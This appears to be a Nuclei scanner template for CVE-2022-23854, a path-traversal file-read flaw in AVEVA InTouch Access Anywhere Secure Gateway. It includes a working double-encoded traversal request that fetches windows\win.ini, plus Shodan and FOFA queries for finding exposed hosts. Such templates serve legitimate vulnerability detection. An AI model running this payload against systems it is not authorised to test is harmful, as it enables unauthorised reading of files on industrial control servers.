id: CVE-2022-23854

info:
  name: AVEVA InTouch Access Anywhere Secure Gateway - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
    AVEVA InTouch Access Anywhere Secure Gateway is vulnerable to local file inclusion.
  impact: |
    An attacker can access sensitive information stored on the server, potentially leading to further exploitation or unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by AVEVA to fix the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/cve/CVE-2022-23854
    - https://www.aveva.com
    - https://crisec.de/advisory-aveva-intouch-access-anywhere-secure-gateway-path-traversal
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-23854
    - https://www.cisa.gov/uscert/ics/advisories/icsa-22-342-02
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-23854
    cwe-id: CWE-22,CWE-23
    epss-score: 0.45957
    epss-percentile: 0.98649
    cpe: cpe:2.3:a:aveva:intouch_access_anywhere:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: aveva
    product: intouch_access_anywhere
    shodan-query:
      - http.html:"InTouch Access Anywhere"
      - http.html:"intouch access anywhere"
    fofa-query: body="intouch access anywhere"
  tags: cve,cve2022,lfi,packetstorm,aveva,intouch,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'for 16-bit app support'
          - 'extensions'
        condition: and

      - type: word
        part: header
        words:
          - 'text/ini'
          - 'application/octet-stream'
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f2981ac3107123e5057c0ae143703dc466f80c854e4001aae360005a10e398ea02207aa7467f9b9f098f9e3751850f2de9c51f1f37578895547f786e3677950f2d1c:922c64590222798bb761d5b6d8e72950